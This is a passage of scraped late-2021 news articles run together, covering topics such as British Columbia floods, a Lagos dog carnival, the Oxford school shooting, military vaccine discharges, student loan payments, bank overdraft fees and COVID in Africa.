Rising world temperatures threaten the permafrosts ice, soil, rocks, sand, and organic matter. November: A large storm emptied a months worth of rain over two days in British Columbia in Canada. It created floods and moving soil that destroyed roads, railroads, and bridges. It is likely the most expensive natural disaster in Canadas history, although officials are still examining the damage. Meteorologists, or scientists who study the weather, said the rain had come from an atmospheric river. It is a flow of gaseous water stretching hundreds of kilometers long from near the equator, the tropics. Scientists say atmospheric rivers are expected to become larger, and possibly more destructive, with climate change. Im Gregory Stachel. Lisa Shumaker and Andrea Januta reported this story for Reuters. Gregory Stachel adapted it for VOA Learning English. Susan Shand was the editor. ____________________________________________________________________ Words in This Story drought n. a long period of time during which there is very little or no rain plague n. a large number of harmful or annoying things moisture n. a small amount of a liquid (such as water) that makes something wet or moist virtually adv. very nearly: almost entirely glacier n. a very large area of ice that moves slowly down a slope or valley or over a wide area of land permafrost n. a layer of soil that is always frozen in very cold regions of the world Hundreds of dogs recently gathered in Nigerias business capital of Lagos. They wore things meant for humans: colorful school clothes, sunglasses and even book bags. The dogs were taking part in the third-ever Lagos Dog Carnival. Organizers of the event called it bigger and better than ever. This year, the carnivals theme was back to school. Jackie Idimogu is the organizer of the event. She said the purpose is to bring together dog owners to celebrate their dogs and learn from each other how to take better care of them. "This edition is bigger and better than the previous editions and interestingly, the number of dogs that we have this year is over 250, which is double what we recorded last year," Idimogu told Reuters. At the event, the awards on offer included "head boy" for cleanest school uniform, punctuality prefect and "most noisemaker." Being punctual means arriving on time. Canada, a white-haired golden retriever, was named head boy. He wore a bright green uniform with stripes and a school bag. Ivory, a bulldog, walked away with the punctuality award for arriving first at the carnival. For barking throughout the event, a golden retriever named Oscar took the noisemaker award. There was even a special appearance by a cat. The animal received an attendance award. Idimogu said the event has helped raise awareness on keeping dogs as pets. She said there are plans to take the event to other cities across Nigeria in the future. Im Ashley Thompson. Reuters news agency reported this story. Ashley Thompson adapted it for VOA Learning English. Caty Weaver was the editor. ______________________________________________________________ Words in This Story bag - n. a container made of thin material (such as paper, plastic, or cloth) that opens at the top and is used for holding or carrying things theme - n. the particular subject or idea on which the style of something (such as a party or room) is based edition - n. a particular version of a product prefect - n. an older student who is given the job of helping to watch and control younger students in a school bark - v. (of a dog) to make a short loud sound awareness - n. the idea of knowing that something (such as a situation, condition or problem) exists. We want to hear from you. Write to us in the Comments section, and visit our Facebook page. Shootings like the one that occurred on November 30 at Oxford High School in Michigan are not uncommon in the United States. The Oxford shooter killed four students and wounded seven others. EducationWeek tracks school shootings. It has found 31 shootings this year that had at least one death. A Washington Post investigation found that more than 278,000 students have experienced gun violence at schools since the Columbine High School shooting in April 1999. School officials, lawmakers and others are trying different ways to prevent school shootings or reduce the number of deaths. Many schools practice active shooter drills, which are meant to prepare students and staff for a real event. Other schools place police officers in and around their buildings. In Oxford, the parents of the shooter are being charged with a crime in connection with the killings. Karen McDonald is the Oxford County lead prosecutor. She argues that James and Jennifer Crumbley, parents of the shooter Ethan Crumbley, could have prevented the attack. We should all be looking at the events that led up to that horrific event, McDonald said on American television. And as a community, as a school, as a nation, talk about what we could have done different so that didnt happen. On November 30, a teacher found a note written by Ethan with a drawing of a handgun and the message: The thoughts wont stop. Help me. After a meeting with Crumbley and his parents, school officials thought he was not a risk to other students and could return to class. The parents also refused a request to take him home for the day. Later that day, Crumbley opened fire on fellow students with a gun his father had given him four days earlier as a gift. School officials in Oxford are also being investigated to see if their actions could have stopped the shooter. Two legal actions were brought against the Michigan school district Thursday for permitting the shooter to stay in school after he showed signs of very troubling behavior. Gun control advocates hope the charges against the Crumbley parents will show ways to deal with other school shootings. Shannon Watts is the founder of Moms Demand Action for Gun Sense in America, an organization that supports gun control measures. She wrote in The Washington Post that children and students should not be able to access guns. She believes the charges against the Crumbleys will force all gun-owning parents to consider additional safety measures. Oxford High School had many safety measures in place. Watts wrote, yet all of these measures werent enough to stop a school shooting because the student still had access to a gun at home. The organization Everytown for Gun Safety says 5.4 million children in the U.S. live in a home with a gun. Active shooter drills Active shooter drills are common in American schools. During the drills, students practice how to react if a shooter enters the school. Students are taught to lock the doors to the classroom, turn off the lights, sit on the ground, and be quiet. Oxford County Sheriff Michael Bouchard said the drills saved lives at Oxford High. A Washington Post report found that 4 million students went through active shooter drills in 2018. But critics say these drills can traumatize children. David Riedman is with the National Center for Homeland Defense and Security. He studies school shootings. He told The Washington Post that the drills did save lives at Oxford, but he believes very realistic shooter drills are not needed. Gun safety laws Research has found that more than half of gun owners do not lock up their guns. Some schools have started sending letters to parents to tell them how to safely keep a gun. One school system in Los Angeles requires parents to sign a notice about gun safety. The Clark County school system in Nevada does something similar. Maddie Ahmadi is a student in Vermont who led an effort to get her school to send a letter home to parents about safely storing guns. She told EducationWeek that it is an issue of safety, not politics. Im not telling anyone to stop hunting and Im not telling anyone to give away their gun; Im telling them to securely store them so we can prevent tragedies like what happened in Oxford, she said. Im Dan Novak. And I'm Caty Weaver. Dan Novak wrote this story, with additional reporting from The Associated Press, EducationWeek and The Washington Post. Susan Shand was the editor. Quiz- After Oxford, Officials Try to Find Ways to Prevent More School Shootings Start the Quiz to find out Start Quiz ______________________________________ Words in This Story track v. to follow and find especially by looking at evidence drill n. a physical or mental activity that is done repeatedly in order to learn something, become more skillful, etc. prosecutor n. a lawyer who represents the side in a court case that accuses a person of a crime and who tries to prove that the person is guilty advocate n. a person who argues for or supports a cause or policy traumatize v. to cause to become very upset in a way that often leads to serious emotional problems tragedy n. a very bad event that causes great sadness and often involves someone's death The United States Air Force has removed, or discharged, 27 servicemembers for violating COVID-19 vaccination orders. The Air Force does not provide information on what kind of discharge a service member receives. But legislation currently before Congress limits the military to giving members who refuse the vaccine either an honorable discharge or a general discharge under honorable conditions. In August, the U.S. Department of Defense ordered all military forces to get vaccinated against COVID-19. Defense Secretary Lloyd Austin described the vaccine as critical to keeping troops healthy and ready to deploy when needed. Each military service sets its own dates for members to complete the requirement. The Air Force gave its forces until November 2 to get the vaccine. Thousands have either refused or sought an exemption to the rule. Exemptions are offered for some medical or religious reasons. Air Force spokeswoman Ann Stefanek said none of the 27 members who were discharged had sought vaccine exemptions. She said all of the airmen were in their first term of military service. Stefanek said each were discharged for failing to obey an order. Some might have had other violations on their records, she added, but all had the vaccine refusal as one of the elements of their discharge. The latest Air Force data shows that more than 1,000 airmen have refused to get the COVID-19 vaccine. More than 4,700 are seeking a religious exemption. The military reports 97 percent of active duty Air Force members have gotten at least a first vaccine injection. That is a greater share than found among the U.S. general population, health officials report. Members of the Navy and Marine Corps had until November 28 to get the shots, while Reserve members have until December 28. Army active-duty soldiers have until December 15. Members of the Army National Guard and the Reserves have the most time to get vaccinated, with their requirement set for June 30. As of December 10, the Defense Department said that 96.4 percent of active duty members had gotten at least one vaccine shot. That number drops to about 74 percent, however, when the National Guard and Reserves are included. The U.S. Centers for Disease Control and Prevention says that about 72 percent of the U.S. population has received at least one COVID-19 shot. Im Bryan Lynn. The Associated Press and Reuters reported on this story. Bryan Lynn adapted the reports for VOA Learning English. Caty Weaver was the editor. We want to hear from you. Write to us in the Comments section, and visit our Facebook page. ___________________________________________ Words in This Story exemption n. special permission not to have to do something Reserve n. U.S. military forces that are not part of the regular active duty services In Nebraska, the delta surge began in June, just as Nebraska Gov. Pete Ricketts lifted the COVID-19 state of emergency. The surge is the most extended the state has seen during the pandemic, with hospitalizations plateauing at a high level during much of September and October before beginning a steep climb last month. Ricketts said in a statement Monday that Nebraska hospitals had 987 COVID-19 patients in November 2020 and provided excellent care. The current count is about 60% of last year's peak. "Doctors and nurses across the state continue to provide great care for Nebraskans," he said. Nebraska Medicine officials on Monday further limited the type of surgeries performed at the Nebraska Medical Center because of the demand for inpatient beds and the effects of COVID-19. As of Monday, the hospital was operating six COVID units and anticipated opening a seventh this week. Dr. James Lawler, a co-executive director for the University of Nebraska Medical Center's Global Center for Health Security, said the delta surge may not slow for a couple of weeks. He also expects to see more omicron cases in late December or January and for influenza cases to begin piling up. In 1960, Sen. John F. Kennedy of Massachusetts launched his successful bid for the presidency, and more events that happened on this day in history. PIERRE Gov. Kristi Noem said Monday she has drafted legislation to create a moment of silence at the beginning of each day in South Dakota public schools, a move she said would restore protections for prayer in the classroom. A draft of the bill said it will provide students and teachers with a reprieve from the frenzy of daily life and set a tone of decorum conducive to learning. Students and teachers can engage in voluntary prayer, reflection, meditation or other quiet, respectful activity during the minute of silence, the bill states. Every student deserves the opportunity to begin their day with a calm, silent moment, Noem said in a statement. I hope students will take this opportunity to say a quick prayer or reflect on their upcoming day. However they choose to take advantage of this time, it will be beneficial to students and teachers alike. School employees would not be able to dictate the action to be taken by students or teachers during the moment of silence, and no student may interfere with how other classmates are engaged in the minute. The bill's draft said the moment of silence should not be construed as a religious exercise. ARCHIVED - Spain considers booster vaccine for people over 40 Some 15 million people aged between 40 and 59 in Spain could soon receive a third jab The Interterritorial Health Council in Spain has presented a recommendation this week that the booster dose of the coronavirus vaccine be extended to those aged between 40 and 59 years old in light of the surging number of Covid cases in this country The experts have acknowledged that the efficacy of the vaccine significantly drops in people aged 18 to 60 over time and has asked the government to follow the European Commissionss recommendation to roll out the third dose to younger populations. Europe has specified that after priority vaccination of people aged 60 and over and those who have received the AstraZeneca jab is completed, it would be prudent to start the administration of booster doses to people aged 40-59 years, which represents around 15 million people in Spain. According to the experts, a multitude of studies have shown that people vaccinated with two doses of AstraZeneca are more vulnerable to the virus and the effectiveness of the jab diminishes faster than the others. The Vaccine Committee has also issued a series of recommendations to encourage the 4 million over-12s who have not yet been vaccinated to do so, and the document has stressed the need to rapidly apply the booster to the most vulnerable older population. Among those over 70 years of age, the percentage of the population that has received the third dose is 77.81%, although in the group aged 60 to 69 that figure drops to 35.7%. Image: Ayto. Torre Pacheco article_detail Please register or log in to keep reading. No credit card required! Stay logged in to skip the surveys. A man who was free on bail for a drug delivery linked to a fatal overdose, then shot and killed another man he believed was a threat, was sentenced Tuesday to 13 years in prison. Dane County Circuit Judge Nicholas McNamara told Anthony M. Young, 34, of Stoughton, that he needs to be confined not only to address his own drug issues but to protect the public. Last year, Young was charged with delivery of a controlled substance related to the June 30, 2019, death of Ryan Ganahl, 40, which was in part attributed to fentanyl pills he had purchased from Young. Youngs bail was set originally at $1,000 but lowered in January 2021 by McNamara to $500, which Young posted. About a month later, on Feb. 23, Young sold what was said to be a bottle of promethazine cough syrup, which is sometimes combined with opiates, to Shanton S. Robinson, 29, of Marshall, who believed Young had defrauded him. Robinson tracked down Young, and when Robinson arrived at a duplex in Sun Prairie, Young believed Robinson was armed and shot at him through the front door. There is no evidence Robinson was armed. Robinson was taken by friends to a Madison clinic and transferred to a hospital, where he died. Perhaps the most telling sign is that even Trump himself doesnt think its a foregone conclusion he could secure the nomination. Hes reportedly livid with Florida Gov. Ron DeSantis for not publicly declaring he wont run for president if Trump does. Part of that is Trumps ego-driven desire to demonstrate his dominance, but its also a sign that he feels the need to clear the field rather than compete in it. He could certainly be goaded into running again, just as he was in 2016. But the more likely scenario is that Trump will continue to keep everyone guessing until the last minute to maximize attention and profit. The best way to ensure he doesnt run again is for Republicans like DeSantis to signal hell have to work for it and thus risk looking like a loser twice. President Joe Biden still plans to restart federal student loan payments in February, resisting pressure from some fellow Democrats who continue to call for an extension of coronavirus pandemic relief benefits. "We're still assessing the impact of the Omicron variant, but a smooth transition back into repayment is a high priority for the administration," said White House press secretary Jen Psaki when asked Friday whether the administration would consider extending the student loan payment pause. "In the coming weeks, we will release more details about our plan and will engage directly with student loan borrowers to ensure that they have the resources they need and are in the appropriate repayment plan," she added. Borrower balances have effectively been frozen for nearly two years, with no payments required on most federal student loans since March 2020. During this time, interest has stopped adding up and collections on defaulted debt have been on hold. Both Biden and former President Donald Trump took actions to extend the pause. Most recently, Biden moved the payment restart date from Sept. 30, 2021, to Jan. 31, 2022, but the administration made clear at the time that this would be the final extension. Some Democrats urge Biden to extend relief Senate Majority Leader Chuck Schumer of New York, Sen. Elizabeth Warren and Rep. Ayanna Pressley, both of Massachusetts, have been pressuring Biden to extend the student loan repayment pause. "The pause on federal student loan payments, interest, and collections has improved borrowers' economic security, allowing them to invest in their families, save for emergencies, and pay down other debt," the lawmakers wrote in a letter to the President last week. Before the pause, borrowers were paying an average of $393 a month for their federal student loans, according to an analysis from the Roosevelt Institute, which was provided to Schumer and Warren at their request. That means that collectively, borrowers will be paying roughly $7 billion a month, or about $85 billion a year, once the payments resume. Schumer, Warren and Pressley are also continuing to urge Biden to take further action and cancel up to $50,000 of student loan debt per borrower. Biden said during the presidential campaign that he would support canceling $10,000 per borrower, but has not taken action to do so beyond directing federal agencies to conduct reviews on whether he has the authority. He has repeatedly resisted pressure to cancel up to $50,000 per borrower since taking office -- making it very clear during a CNN town hall early in the year that he does not support the idea. Separately, since taking office, Biden's Department of Education has made it easier for people who were defrauded by for-profit colleges to seek debt relief. It has also temporarily expanded the Public Service Loan Forgiveness program that cancels outstanding debt for qualifying public service workers after they have made payments for 10 years. Preparing for payments to resume Most borrowers with federal student loans have not had to make any payments since March 2020. Direct Loans as well as PLUS loans, which are available to graduate school students and parents on behalf of their children, are eligible for the benefit. Some federal loans that are guaranteed by the government but not technically held by it, known as Federal Family Education Loans, or FFEL, did not qualify. Generally, those were disbursed prior to 2010. The relief is even more significant for those who work in the public sector and may be eligible for federal student loan forgiveness after 10 years. They are still receiving credit toward those 10 years of required payments as if they had continued to make them during the pandemic, as long as they are still working full time for qualifying employers. Borrowers will receive a billing statement or other notice at least 21 days before their payment is due, according to the Department of Education. Those who had set up auto payments may need to notify their loan servicing company they want those to continue. If federal student loan borrowers can no longer afford their monthly payment, they may be eligible for an income-driven repayment plan. Under those plans, which are based on income and family size, a monthly payment can be as low as $0 a month. The Department of Education has more information online about the payment restart. *** CNN's Maegan Vazquez contributed to this report. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 TWIN FALLS A 14-year-old boy was seriously injured last week when he was struck by a car as he crossed Cheney Drive West near Walmart, police say. Adrian Brandell of Twin Falls was crossing Cheney in the crosswalk at Billiar Street at about 6 p.m. Thursday when his two companions saw an oncoming car and darted across the road in front of him, Twin Falls Police Lt. Luke Allen told the Times-News on Tuesday. The eastbound car swerved left to miss the first two boys in the crosswalk and struck Adrian instead, Allen said. Officer Tyler Kraft is investigating the accident, Allen said. Adrians mother, Vanessa Ann Brandell, said her son was lying about 15 feet from the crosswalk when she arrived at the scene. He was taken by ambulance to St. Lukes Magic Valley Medical Center then flown to St. Lukes Boise, where he remains in a medically induced coma, his mother said Tuesday. Adrians father, Ryan Brandell, is also in Boise with Adrian. His parents have been married for 18 years and have one other son and three daughters. Adrian has a fractured skull and swelling on his brain, Vanessa Brandell said. Surgeons placed a metal plate in his right leg and sutured several wounds on the right side of his face. This has been extremely hard, his mother said. Hes the most helpful, considerate kid you will ever meet. Adrians a gentle soul. Love 0 Funny 2 Wow 0 Sad 35 Angry 3 Nomination from counselor More about Macey I am privileged to write in support of my student Macey Hatcher, said science teacher Sam Franklin. Macey has shown outstanding promise during her time in my dual credit chemistry class last year and in dual credit calculus this year. She has demonstrated several qualities that make me sure that she will be successful. She has displayed her intelligence and work ethic by earning superior grades while taking a demanding academic schedule. One of Maceys greatest strengths is her ability to interact with others, and communicate effectively. Her interpersonal skills are exceptional and are on display when she interacts with students and adults alike. Macey is a very dedicated student and is not afraid to advocate for herself through extra questions and putting in needed time to get work done. Her dedication and enthusiasm for learning show through in the hard work that she has completed to earn As in my classes. Macey also is highly dependable and has demonstrated strong character in her work and interactions with people. I believe that she will accomplish anything that she sets her mind to and will be a true asset to any school or program she is a part of. BOISE While the city of Boise has spent nearly all of the emergency rental assistance that was allocated by the federal government to assist residents during the COVID-19 pandemic, representatives from the Idaho Housing and Finance Association say that doesnt mean the $175 million that was allocated to the state agency is going to waste. The Emergency Rental Assistance program is meant to help individuals who need help with rent or utilities as a result of the COVID-19 pandemic, whether its retroactive or future rent and utilities. An applicants income must not exceed 80% of the area median income, and they must provide a statement from a landlord indicating past rent or a bill from a utility company. The assistance lasts a maximum of 15 months, and payments are sent directly to landlords or utility companies to keep accounts current. The federal government established a minimum of $200 million for the rental assistance program to states with lower populations such as Idaho, said marketing and communications director Jason Lantz. From there, the Boise City/Ada County Housing Authority applied for a portion of the funding and received an allotment of $24 million and the rest went to the association. Anyone living outside of Ada County could apply for assistance from the Idaho Housing and Finance Association. As of Friday, Lantz said Idaho Housing and Finance has distributed $19.1 million of the $175 million in aid, on top of $14.5 million in similar assistance from the CARES Act in 2020. Lantz said officials at the U.S. Department of the Treasury now recognize that distribution model was flawed, and they are taking back funds that will likely be reallocated to Boise and Ada County to continue providing local aid. We are getting $33.1 million recaptured, which we fully expected from the start, Lantz said. We think its great that theyre going to give those to local governments. During an interview with the Idaho Capital Sun last week, Boise Mayor Lauren McLean said the city is committed to securing more funds that are sitting dormant at the state level. We developed a program and then we let it be known that it was there, because it really was our intent not to sit on funds that could help residents that are hurting and to get them into the hands of those that need them most, McLean said. Lantz said it has been more challenging to get the word out that funds are available to residents outside of Ada County, but said its still significant that the association has been distributing $2 million per month in assistance. There are obvious challenges in reaching every corner of the state. We devoted a significant portion of our staff resources, and weve done just about everything you can imagine, from TV and radio (advertisements) to search engine marketing, direct mail, email campaigns, he said. But the biggest help has been our partners, some of whom we dont work with on a regular basis. Weve had help from the Idaho Department of Labor, other state agencies, utility providers, industry associations, all of those around the state have been super helpful. More funds could be approved by Idaho Legislature in 2022 session Another $152 million in Emergency Rental Assistance was included in the American Rescue Plan Act with an expiration date of Sept. 30, 2027. None of that funding has been approved by the Idaho Legislature, but it may be considered during the upcoming legislative session, which begins in January. Lantz said the federal guidance for the use of those funds is more flexible than the first round of assistance, so its possible it could be used for affordable housing developments, but that is still to be determined. Ultimately, Lantz said hes glad to see the money going where it is needed. I think its clear that the overall amount of funding was great, they just didnt get the distribution as accurate. Thats just the way it is, he said. We want the money in the hands of the people who need it. However that happens, thats great. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The St. Louis-based electric utility Ameren Corp. said in a court filing Tuesday that it will close a coal plant several years early, a move that follows a court order this summer requiring pollution controls that would potentially cost hundreds of millions of dollars. The plant sits along the Mississippi River near Festus, Missouri, about 40 miles (64 kilometers) south of St. Louis. In August, the 8th U.S. Circuit Court of Appeals upheld a ruling in a decade-old lawsuit, ordering Ameren to install pollution control equipment. The federal government argued that modifications in 2007 and 2010 without proper permits led to increased sulfur dioxide emissions because the plant could burn more coal. Sulfur dioxide is a byproduct of burning coal that can harm the respiratory system. Ameren maintains that air quality monitors near Rush Island meet federal and state standards. Rush Island is among four coal plants it operates. Ameren had previously planned to close Rush Island in 2039. The court filing didn't give a specific closure date but said it would be before the March 2024 compliance date required by the court. The decision to accelerate the retirement of the Rush Island Energy Center comes after carefully considering our legal, operational, and regulatory alternatives, as well as the impact on customer costs and system reliability," Ameren President and Chairman Marty Lyons said in a statement. We remain committed to reliable and affordable electric service for the benefit of our customers and communities, while reducing emissions and building on our longstanding commitment to environmental stewardship." Ameren announced in September 2020 that it planned to invest $8 billion in renewable projects during the next two decades, with a goal of reaching net-zero carbon emissions by 2050 across Missouri and Illinois. Andy Knott of the Sierra Club urged Ameren to close the plant as soon as possible. The financial and health interests of Amerens customers is best served by the utility replacing any needed capacity with a combination of renewable energy, energy efficiency, and demand side response, Knott said in a statement. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 NEW YORK (AP) The banking industry appears to have overdone it on overdraft fees. After decades of raking in billions of dollars from mostly poor Americans short of cash in their accounts, the biggest banks under pressure from lawmakers and regulators are slowly decreasing their reliance on the widely unpopular practice. A number of large banks have taken steps this year that would reduce the amount they take in from overdraft fees, which they charge when customers make payments or withdrawals in excess of their account balance. Capital One, the nation's sixth-largest bank, announced last week that it would end all overdraft fees next year. Other banks have made it harder for customers to trigger an overdraft fee. Still, it's unlikely the financial services industry will entirely wean itself off such a cash cow anytime soon. For many big banks, overdraft fees are still the steady, reliable, predictable, easy revenue that shareholders love, said Rohit Chopra, director of the Consumer Financial Protection Bureau, in remarks last week where he directed the bureau to more closely examine bank overdraft practices. Overdraft has its origins in banks providing a service for a fee to customers who may have not balanced their checkbook correctly and wanted a bank to honor a purchase. But the widespread use of debit cards changed this courtesy into a routine source of revenue. Some banks took advantage, for example, by reordering customers transactions, deducting big transactions first so that smaller payments would then trigger multiple overdraft fees. If a customer lacked funds in their account, a $5 purchase at a cafe could end up costing them $35, because of overdraft fees. Overdraft fees, which started in the 1990s, became lucrative for the industry but at the same time made the banks a target for consumer advocates and their allies in Congress. After the financial crisis, Democrats put the CFPB and other regulators in charge of reining in overdraft fee revenues. Frequent overdrafters, according to the CFPB, tend to skew toward those living paycheck to paycheck, and also are disproportionately Black and Latino. One of the top reasons given by Black and Latino Americans for choosing not to have a bank account, or being unbanked, is that they are trying to avoid bank fees. Industry revenue from overdraft fees held fairly steady until last year when banks waived fees across the board in the first months of the pandemic, when millions of Americans lost their jobs and businesses were shuttered. Revenue from overdraft fees fell to $8.82 billion last year from $11.68 billion in 2019, according to data collected by S&P Global Market Intelligence. Through the first nine months of this year, overdraft revenue totaled $6.13 billion, S&P Global's data show. Despite an outcry from some Democrats, regulators in Washington aren't necessarily looking to do away with overdraft fees. In a speech last week, the acting head of the Office of the Comptroller of the Currency, Michael Hsu, said low- to no-cost overdrafts would allow those living paycheck to paycheck to pay their bills on time, avoid high-cost alternatives and improve their credit profile. Hsu said recent changes to overdraft policies by some banks could serve as a model for the industry. Regional banking giant PNC launched new account features such as low-balance alerts and a grace period that will help consumers avoid overdraft fees. PNC also plans to limit overdrafts to one per day. Pennsylvania-based PNC told investors to expect its overdraft fee revenues to be down $125 million to $150 million annually as the bank rolls out the Low Cash Mode product. PNC earned nearly $273 million in overdraft fee revenue last year, according to S&P Global. JPMorgan Chase, the nation's largest bank by assets, earlier this year waived overdraft fees for customers whose accounts were overdrawn by $50 or less at the end of the business day. Last week, the bank said it will give customers 24 hours to bring their accounts back to $50 or less overdrawn to avoid a fee. From 2015 through 2020, JPMorgan annually led the industry in overdraft fees collected. Through the first nine months of 2021, Wells Fargo took in the highest amount of overdraft fees, slightly more than $1 billion, according to S&P Global. Back in June, Ally Financial, the 18th largest bank by assets, said it would get rid of overdraft fees across all of its products. Ally specifically cited the racial inequity seen with overdrafts as a reason to stop charging the fees. It was the right thing to do, said Diane Morais, president of consumer and commercial banking products at Ally Bank. Ally earned relatively little from overdraft fees. The bank told investors that getting rid of overdraft fees would have no material impact on its profits. "This is likely a revenue line item that deteriorates over the long-term and banks will need to find other areas of fee revenue to offset this downward trend, said Kyle Sanders, an analyst at Edward Jones who covers Wells Fargo, PNC and several other large retail banks. One way that banks will likely make up a drop in overdraft fee income could be a return to monthly account fees, which would be an industry shift after decades of advertising free checking to their customers. Both Wells Fargo and Bank of America charge $5 a month to use accounts that do not allow customers to overdraft. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 To inspire support of Mountain Mission School this Christmas, the Jessie Ball duPont Fund is offering to match 100% of personal donations made to the school, up to $25,000. For over 100 years, Mountain Mission School (MMS) in Grundy has served as a safe haven for children in need from across the region and the world. The Buchanan County school houses, clothes, feeds and educates about 200 children, from toddlers to teens, including a couple of dozen from the City of Hope in Tanzania, which is sponsored by Teamwork International Ministries. Those City of Hope children and teenagers regularly visit the Martinsville-Henry County area, including staying during school breaks with Regina Chacha of Martinsville, the president of Teamwork. The school accepts no government funding, in order to stay true to its historic Christian mission, a press release states. Several area churches support the school, including Horsepasture Christian Church, which held a spaghetti dinner fundraiser for it in November. More than 90% of the schools seniors go on to college. The service we provide is unique, says Chris Mitchell, President of Mountain Mission School. We help families in crisis by caring for their children on their behalf, at no cost to them, for as long as they need, while they try to get their lives in order. We allow parents who are in economic distress, or in prison or rehab to retain guardianship of their children, so they dont have to give them up. Were here for families in the region, whether they need our help for a few months or 18 years. Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Bren testified that she was forced to retire. Asked later to say why, she said: I believe that it was age discrimination and beyond that would be strictly speculation on my part. Several lawmakers said they would like to see the state remove the nondisparagement clause from Bren's agreement because it would let them get more information. This is a question about, was a longtime, dedicated employee, was she wrongfully fired? Was she wrongfully fired on behalf of a relative of the governor? And did the state end up paying $217,000 to cover that up? said Sen. Reynold Nesiba, a Democrat. And were not going to know the answer to that question because of this nondisparagement clause. The committee will draft a report on its findings, said Rep. Randy Gross, the Republican co-chair. He said that would let the facts of what we learned stand on their own. This story has corrected the attribution of a statement to Sherry Bren and that she filed an age discrimination complaint, not a lawsuit. Follow Stephen Groves on Twitter: https://twitter.com/stephengroves Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Credit: Imperial College London The impact of the pandemic on the African continent has been varied due to the fact that African countries are not on equal footing. For example, the lowest income countries may have among the highest burden of infectious diseases, such as malaria, tuberculosis and HIV/AIDS, alongside cultural differences that affect, for example, vaccine hesitancy. Implementing social distancing measures in African countries has also not been applied consistently, due to some communities being majorly impoverished. Access to vaccines is a problem faced by the continent as thousands of citizens are not officially on record, or can access healthcare easily. While individual African countries have their own issues, the handling of COVID-19 cases on the continent is also a worldwide issue, as Western countries contribute to equitable distribution of vaccines. International assistance is being received in order to ensure the fair distribution of vaccines and a range of suppliers continues to be used through the Africa Vaccine Acquisition Task Team (AVATT). Sharon Obahor took a closer look at three African countries and how they have handled the pandemic and the vaccine rollout so far. South Africa Reported cases: 2,963,679 Reported deaths: 90,079 South Africa was among the countries that implemented a strict lockdown during the early months of the pandemic. The South African government exercised knowledge in handling the spread of coronavirus due to previous public health campaigns targeting the spread of diseases such as HIV/AIDS. However, lockdowns have resulted in economic hardship for the vulnerable members of the South African community and the vaccine rollout, while initially very successfulwith South Africa securing many doses before other countries and before agreements through COVAX for additional doseshas faced difficulties. These include vaccines having to be destroyed because they could not be distributed before the expiration date, and civil unrest impacting vaccination programs. Currently, despite an adequate supply of vaccines, the roll-out has slowed primarily due to vaccine hesitancy, causing the government to delay deliveries to avoid vaccines going to waste. The Beta variant of the virus was first detected in South Africa. This does not, however, mean that's where it first arose. The country has some of the most developed testing and sequencing facilities in Africa, enabling them to track and sequence new variants of SARS-CoV-2 from positive cases when they see numbers rise unexpectedly. This also meant that South Africa was one of the first countries to raise the alarm about the new Omicron variant after a rise in cases. Professor Faith Osier, Executive Director of the Human Immunology Laboratory at Imperial, said: "Although [the Omicron variant] was identified and sequenced in South Africa, populations in the region suffer without vaccines, and livelihoods are pushed further back by renewed blanket travel restrictions. This vicious cycle continues. We cannot wish this away. Calls for action appear to fall on deaf ears as nationalism takes ascendency. Vaccines are being hoarded and unfortunately even wasted, while poorer countries remain in abject need." Researchers including at Imperial's MRC Centre for Global Infectious Disease Analysis and Jameel Institute are working with South African scientists to analyze the new Omicron variant and the risk it poses. Nigeria Reported cases: 214,113 Reported deaths: 2,977 Despite being a high-risk country due to the growing population, Nigeria is believed to have handled the pandemic reasonably well due to previous public health campaigns such as the use of touchless thermometers during the Ebola outbreak in 2014. A key concern for Nigeria and other populous African countries is handling the COVID-19 outbreak alongside infectious diseases such as tuberculosis and malaria. The Central Bank of Nigeria set out measures to tackle the economic hardship heightened by the pandemic. A total of 50 billion Naira was budgeted to support low-income households and local businesses. The effectiveness of this initiative, however, remains unknown. Although Nigeria initially used the AstraZeneca vaccine, ease of vaccine administration was a key issue that caused the country to pivot to using the single-dose Johnson & Johnson vaccine, which is easier for health services to deploy and for citizens to adhere to. Concerns around underreporting of cases and vaccines not being made available to all citizens applies to Nigeria due to conflict caused by the insurgency of Boko Haram in the northeast of the country. In September 2021, the Government of Nigeria received approval from The World Bank Board of Directors for a $400 million credit in additional financing for COVID-19 vaccine acquisition and deployment within the country. Nigeria's COVID-19 Response program was expanded to purchase affordable COVID-19 vaccines for 18 percent (40 million) of Nigeria's population and support effective vaccine deployment to 50 percent (110 million) of its citizens. Uganda Reported cases: 127,523 Reported deaths: 3,258 Many African countries benefitted early on in the pandemic due to their relatively young populations. However, Uganda was hit hard by the Delta variant of the virus over the summer and many hospitals faced full wards. As the numbers in hospital waned again, reports suggested this did not reflect the true state of the pandemic in Uganda, such that thousands or tens of thousands of other COVID-19 patients were believed to have opted to seek herbal treatment and remain at home to avoid the high fees charged by hospitals. Vaccine rollout has also been tricky, due to the strict travel restrictions imposed, and the fact that many do not have the means to travel to vaccination sites. Dr. Benjamin Pierce, Operations Manager for the Future Vaccine Manufacturing Research Hub at Imperial, explains how their own vaccine trial has been scuppered by the lockdowns: "The lockdowns in Uganda at the start of the pandemic were extraordinary; being more severe and more closely monitored than in many neighboring countries." Dr. Pierce says that while vaccines from various sourcesincluding China and the US and UKhave started to arrive in the country, they have come too slowly. "The government is still focused on priority groups to vaccinate first and are behind on their goals of fully vaccinating 10 percent of their population by the end of 2021. By October 2021, closer to one percent have had two doses because of little to no access for the majority of the population. The rate of the rollout has thankfully accelerated by November 2021." COVID-19 case and fatality data taken from MRC Centre for Global Infectious Disease Analysis situation reports and accurate as of 14 December 2021. Explore further Omicron confirmed in nine African countries, say officials Credit: Pixabay/CC0 Public Domain Over half a million Canadians are currently living with Alzheimer's disease or a related form of dementia, and with a rapidly aging population, that number is projected to double by 2031. Now, a new test will help patients find the answers they are seeking and assist their families in planning in the face of an Alzheimer's diagnosis. "This is an urgent and rapidly growing health care issue," says Dr. Mari DeMarco, a Clinical Chemist at St. Paul's Hospital and a Clinical Associate Professor at the University of British Columbia in Vancouver, Canada. Her team developed a key component of the Alzheimer's disease test, and worked with individuals with lived experience with dementia, along with health care 